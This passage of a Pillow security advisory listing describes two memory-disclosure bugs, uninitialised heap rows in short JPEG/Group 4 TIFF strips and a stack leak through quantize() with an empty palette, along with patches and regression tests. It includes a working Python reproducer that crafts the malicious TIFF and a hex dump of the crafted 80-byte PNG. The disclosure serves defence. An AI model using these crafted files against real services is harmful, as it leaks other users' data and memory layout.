`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p](https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112896](https://nvd.nist.gov/vuln/detail/CVE-2026-112896) - [https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742](https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pchr-8j38-3x4p) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips BIT-pillow-2026-112897 / [CVE-2026-112897](https://nvd.nist.gov/vuln/detail/CVE-2026-112897) / [GHSA-q45j-58j2-45rg](https://github.com/advisories/GHSA-q45j-58j2-45rg) <details> <summary>More information</summary> #### Details ``` ============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in _decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content. The bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state->buffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early. The attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with `b"LEAK"`. It then finds 15,872 copies of `LEAK` in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases. This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0). ##### Details `src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and then copies all `RowsPerStrip` rows of that buffer into the image whenever `TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels. A 478-byte file shows it: a classic little-endian TIFF, 256×256, `BitsPerSample=8`, `Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data is a baseline JPEG of 256×**8** pixels (as written by `Image.new("L",(256,8),200).save(…,"JPEG")`). `Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the remaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's `MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the fresh-`malloc` fill byte), and in a process that has just freed buffers containing `b"LEAK"` they contain 15872 copies of `LEAK`. Feeding the same file to libtiff 4.5.0 directly confirms the library side: `TIFFReadEncodedStrip(t, 0, buf, 65536)` prints `JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`, returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs `TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either. The strip path: ```c // src/libImaging/TiffDecode.c:552 /* realloc to fit whole strip */ /* malloc check above */ new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() … state->buffer = new_data; for (; state->y < state->ysize; state->y += rows_per_strip) { … if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdata_t)state->buffer, strip_size ) == -1) { … return -1; } … // iterate over each row in the strip and stuff data into image for (strip_row = 0; strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y); strip_row++) { … shuffler( (UINT8 *)im->image[state->y + state->yoff + strip_row] + state->xoff * im->pixelsize, state->buffer + strip_row * row_byte_size, state->xsize ); ``` `state->buffer` arrives here as the one-row `calloc` made by `decode.c:230` (`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the nominal strip size on success, not the number of rows produced, and the only check is `== -1`, so the row loop unconditionally copies 256 rows × 256 bytes into `im->image` (which itself is zeroed by `core.new`, so the garbage provably comes from `state->buffer`). `_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then `tile_length` rows copied after each `TIFFReadTile()` at 460–488). For a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats "JPEG smaller than strip" as a warning, clamps the row count to the JPEG height, and reports success. JPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode` (`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512×256 1-bit TIFF whose strip is the Group 4 stream of a 512×16 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (`Fax4Decode: Warning, Premature EOL at line 16`, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises `OSError` for those. The strip path was introduced in `e91b851fdc1c` ("Add reading old-JPEG compressed TIFFs", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row `TIFFReadScanline()` (where libtiff errors on the first missing row) with the whole-strip `realloc()` and copy. The tile path has had the same shape since it was added in `f0436a4ddc95` (2018-07-02, Pillow 5.3.0). ##### Impact Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to `ImageWidth × RowsPerStrip × SamplesPerPixel` bytes per strip and tens of MB per image within the default `MAX_IMAGE_PIXELS`. `load()` raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels. ##### Reproducing `repro` is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's `MALLOC_PERTURB_=170`, and the last line it prints is `BUG` or `OK`. **Input.** `tiff(jpeg_rows, tiled)` builds a little-endian TIFF in memory. The header declares a 256×256 8-bit greyscale image with `Compression=7` (JPEG), either as one strip (`RowsPerStrip=256`) or as one 256×256 tile (`TileWidth`/`TileLength`). The strip or tile is a baseline JPEG of 256×`jpeg_rows` pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files: - **Control:** `jpeg_rows=256`. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - **Crafted:** `jpeg_rows=8`, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns `Improper JPEG strip/tile size` (Pillow silences the warning) and returns the full strip/tile size as success. **Steps.** Each file is opened (the script asserts it takes the `libtiff` decoder). Just before `im.load()` the script allocates and frees six 64 KiB `bytearray`s filled with `b"LEAK"`, which leaves freed heap chunks about the size of the buffer that `_decodeStrip()`/`_decodeTile()` is about to `realloc()`. For rows 8–255 it then counts copies of `LEAK` and bytes equal to `0x55` (glibc's fresh-`malloc` fill under `MALLOC_PERTURB_=170`). The files contain no `LEAK` bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports `BUG` if a crafted file shows any `LEAK` in the normal pass, or rows 8–255 entirely `0x55` in the perturbed pass. **Expected output on this tree:** ``` [normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG ``` `im.load()` succeeds for every file. For the crafted files rows 8–255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8–255 of the crafted files come back as `\x00` bytes, with no `LEAK` and no `0x55`, and the script ends with `OK`. The `LEAK` count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the `MALLOC_PERTURB_` pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (`Compression=4`, a T.6 stream that ends early) goes through the same `_decodeStrip()` copy, and the same fix covers it. ##### Suggested fix The attached patch zeroes `state->buffer` before each libtiff read in both loops of `src/libImaging/TiffDecode.c` — before `TIFFReadTile()` in `_decodeTile()` and before `TIFFReadEncodedStrip()` in `_decodeStrip()` — so rows a codec does not produce are deterministic zeros rather than stale heap: ```diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ _decodeTile for (x = state->xoff; x < state->xsize; x += tile_width) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { @@ _decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( ``` A `memset` per strip/tile (rather than one `calloc` after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows — harmless for disclosure, but the per-read `memset` keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (`Improper JPEG strip/tile size`, `Premature EOL`), but so do many legitimate files (unknown tags, bad tag counts), and the return value of `TIFFReadEncodedStrip()` carries no row count to check against. Initialising the buffer covers every codec. `_decodeAsRGBA()` needs no change: `TIFFRGBAImageGet()` fills its whole raster, and JPEG files do not reach it (`JPEGCOLORMODE_RGB` sends them down the strip path). Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds `test_jpeg_short_strip` to `Tests/test_file_libtiff.py`, parametrised over strip and tile, which builds the 256×8-JPEG-in-256×256 file and asserts rows 8–255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, `Tests/test_file_libtiff.py` and `Tests/test_file_tiff.py` pass and the reproducer prints `OK`. ##### The patch Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize("tiled", (False, True)) + def test_jpeg_short_strip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new("L", (256, 8), 200).save(jpeg, "JPEG") + jpeg_data = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpeg_data) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = len(jpeg_data) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpeg_data) + + with Image.open(b) as im: + assert im.tile[0][0] == "libtiff" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def test_orientation(self) -> None: with Image.open("Tests/images/g4_orientation_1.tif") as base_im: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ _decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { TRACE(("Decode Error, Tile at %dx%d\n", x, y)); state->errcode = IMAGING_CODEC_BROKEN; @@ -563,6 +568,11 @@ _decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 2,688 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never ##### initialised, and copied whole into the image even when libtiff's JPEG codec decoded ##### fewer rows than RowsPerStrip/TileLength. Two independent signals: ##### pass 1 (normal heap): seed freed 64 KiB chunks with b"LEAK" just before load() and ##### count copies of LEAK in the decoded pixels (file contains no such bytes); ##### pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is ##### 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get("MALLOC_PERTURB_") == "170" if not perturbed: print("Pillow", Image.__version__, Image.core.__file__) def tiff(jpeg_rows, tiled): j = io.BytesIO(); Image.new("L", (W, jpeg_rows), 200).save(j, "JPEG"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12*len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack("<H", len(tags)) + b"".join(struct.pack("<HHLL", *t) for t in tags) return b"II*\0" + struct.pack("<L", 8) + ifd + struct.pack("<L", 0) + j bug = False for tiled in (False, True): for jpeg_rows, label in ((H, "well-formed"), (ROWS, "crafted")): data = tiff(jpeg_rows, tiled); assert b"LEAK" not in data im = Image.open(io.BytesIO(data)); assert im.tile[0][0] == "libtiff" junk = [bytearray(b"LEAK" * (W*H//4)) for _ in range(6)]; del junk; gc.collect() im.load() # no exception for either file below = im.tobytes()[W*ROWS:] n55, nleak = below.count(0x55), below.count(b"LEAK") print(f"[{'perturb' if perturbed else 'normal '}] {'tiled' if tiled else 'strip'} " f"{label:11s} ({len(data):4d} B) rows {ROWS}-{H-1}: {nleak:5d} x b'LEAK', " f"{n55:5d}/{len(below)} == 0x55, head={below[:8]!r}") if jpeg_rows == ROWS and (nleak > 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, "MALLOC_PERTURB_": "170"}, capture_output=True, text=True) lines = r.stdout.rstrip().split("\n") print("\n".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == "BUG" print("BUG" if bug else "OK") ``` </details> --- #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-q45j-58j2-45rg](https://github.com/python-pillow/Pillow/security/advisories/GHSA-q45j-58j2-45rg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112897](https://nvd.nist.gov/vuln/detail/CVE-2026-112897) - [https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce](https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-q45j-58j2-45rg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Image.quantize() with empty palette leaks uninitialized stack memory BIT-pillow-2026-112898 / [CVE-2026-112898](https://nvd.nist.gov/vuln/detail/CVE-2026-112898) / [GHSA-rfgq-q3w2-pmv2](https://github.com/advisories/GHSA-rfgq-q3w2-pmv2) <details> <summary>More information</summary> #### Details ``` ============================================================================ Image.quantize() with empty palette leaks uninitialized stack memory Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` When an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary. The bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette->size`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `"P"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new("P", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new("P", ...)` route exists since 10.1.0. ##### Details `ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i < palette->size; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette->size == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size >= 1`. A zero-entry `"P"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new("P", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache). Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`: ``` 89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c 00000000 504c5445 4ba88955 0000000b 49444154 789c6360c0040000140001 7dfe1eee 00000000 49454e44 ae426082 ``` ```python pal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == "P", pal.im.getpalette("RGB") == b"" src = Image.new("RGB", (512, 1)) src.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)]) out = src.quantize(palette=pal, dither=Image.Dither.NONE) out.tobytes() # 512 bytes, different in every process ``` The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b ∈ [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process's `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` — and 3 words equal to the thread's stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, "PNG")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette->palette`. ##### Code path File → empty C palette. `PngImagePlugin.chunk_PLTE` (`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw("RGB", b"")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette("RGB", "RGB", b"")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette->size = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0. API → sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == "P"` and calls `self.im.convert("P", dither, palette.im)` → `ImagingConvert` → `topalette(..., inpalette=<that palette>, dither)`. `topalette` tests the palette for `NULL` (`Convert.c:1162`, `:1178`) but not for `size == 0`, allocates the cache (every slot `0x100` = "not computed"), and for each source pixel: ```c // src/libImaging/Convert.c:1319-1327 (non-dither path; the dither path at 1252-1265 is the same) cache = &ImagingPaletteCache(palette, r, g, b); if (cache[0] == 0x100) { ImagingPaletteCacheUpdate(palette, r, g, b); } … out[x] = (UINT8)cache[0]; ``` Inside `ImagingPaletteCacheUpdate` the only store to `c[]` is in step 2, and both step 1 and step 2 iterate over palette entries: ```c // src/libImaging/Palette.c:160-161 unsigned int d[BOXVOLUME]; UINT8 c[BOXVOLUME]; … // src/libImaging/Palette.c:212-221, 240-242 for (i = 0; i < BOXVOLUME; i++) { d[i] = (unsigned int)~0; /* d[] is initialised, c[] is not */ } for (i = 0; i < palette->size; i++) { /* size == 0: body never runs */ if (dmin[i] <= dmax) { … if ((unsigned int)bd < d[j]) { d[j] = bd; c[j] = (UINT8)i; } ``` For any non-empty palette every slot is written: the entry that produced `dmax` passes `dmin[i] <= dmax`, and because `d[j]` starts at `~0` the first visiting entry always stores into `c[j]`. With `size == 0` the loop is skipped entirely and step 3 publishes the raw stack array: ```c // src/libImaging/Palette.c:262-266 j = 0; for (r = r0; r < r1; r += 4) { for (g = g0; g < g1; g += 4) { for (b = b0; b < b1; b += 4) { ImagingPaletteCache(palette, r, g, b) = c[j++]; ``` `cache[0]` is then ≤ 255 and `palette->palette` is a fixed 1024-byte array, so the subsequent `palette->palette[cache[0] * 4]` reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive `ImagingPaletteCacheUpdate` invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth. The behaviour was introduced in `54cb09d8b48c` ("When converting to P, restrict colors to palette size", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The `Image.new("P", ...)` route additionally depends on `fd310512b95a` ("Set C palette to be empty by default", first in 10.1.0); before that a fresh `"P"` image carried a 256-entry grey ramp. ##### Impact An application that lets a user supply the reference palette image for `Image.quantize(palette=...)` — palette-swap / "apply this palette" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and `_imaging.so`, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the *palette* image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption. ##### Reproducing `repro` is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s. 1. `png_with_plte()` builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a given `PLTE` payload. With an empty payload it produces exactly the 80-byte file shown above. 2. `quantize_against()` does what an "apply this palette" feature does: it opens the PNG with `Image.open()` and calls `quantize(palette=pal, dither=Image.Dither.NONE)` on a 512×1 RGB strip. The strip holds the colours `(r*4, g*4, b*4)` for `r, g, b` in `0..7`, one for each slot of the colour-cache box `r, g, b ∈ [0,32)` and in slot order. That makes output pixel `j` exactly `c[j]` of `ImagingPaletteCacheUpdate()`. 3. **Control:** a one-entry `PLTE`. The only valid index is 0, and every output pixel is 0. 4. **Attack:** the same PNG with a zero-length `PLTE`. `quantize()` returns an image without complaint, and its pixels contain about 80 distinct values. 5. **Check:** the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the `[stack]` range in the script's own `/proc/self/maps`. It prints each word that points into the stack. A typical run finds 8, e.g. `pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]`. Pixel data can only hold stack addresses if it was copied from the stack. The script prints `BUG` if the control is all zeros and at least two output words are stack addresses. It prints `OK` if `quantize()` rejects the empty palette with `ValueError`, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints `attack (empty PLTE): rejected: empty palette` / `OK`. With only the `Palette.c` half of the patch, the output is 512 zero bytes and it prints `OK`. ##### Suggested fix The attached patch rejects an empty palette in `topalette()` before any work is done, with `ValueError("empty palette")` in the same idiom as the neighbouring "no palette" / "conversion not supported" checks, so `Image.quantize()` raises a normal `ValueError`. It also zero-fills `c[]` alongside `d[]` in `ImagingPaletteCacheUpdate()` so no present or future caller can copy stack contents into the cache, and adds a regression test `test_empty_palette` to `Tests/test_image_quantize.py`. `quantize(palette=)` is the only path that hands a caller-supplied palette to `topalette()`; the `NULL`-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare `Image.new("P", ...)`) now raises instead of returning garbage indices. The C changes: ```diff --- a/src/libImaging/Convert.c +++ b/src/libImaging/Convert.c @@ -1159,6 +1159,10 @@ topalette( alpha = mode == IMAGING_MODE_PA; + if (palette != NULL && palette->size <= 0) { + return (Imaging)ImagingError_ValueError("empty palette"); + } + if (palette == NULL) { /* FIXME: make user configurable */ if (imIn->bands == 1) { --- a/src/libImaging/Palette.c +++ 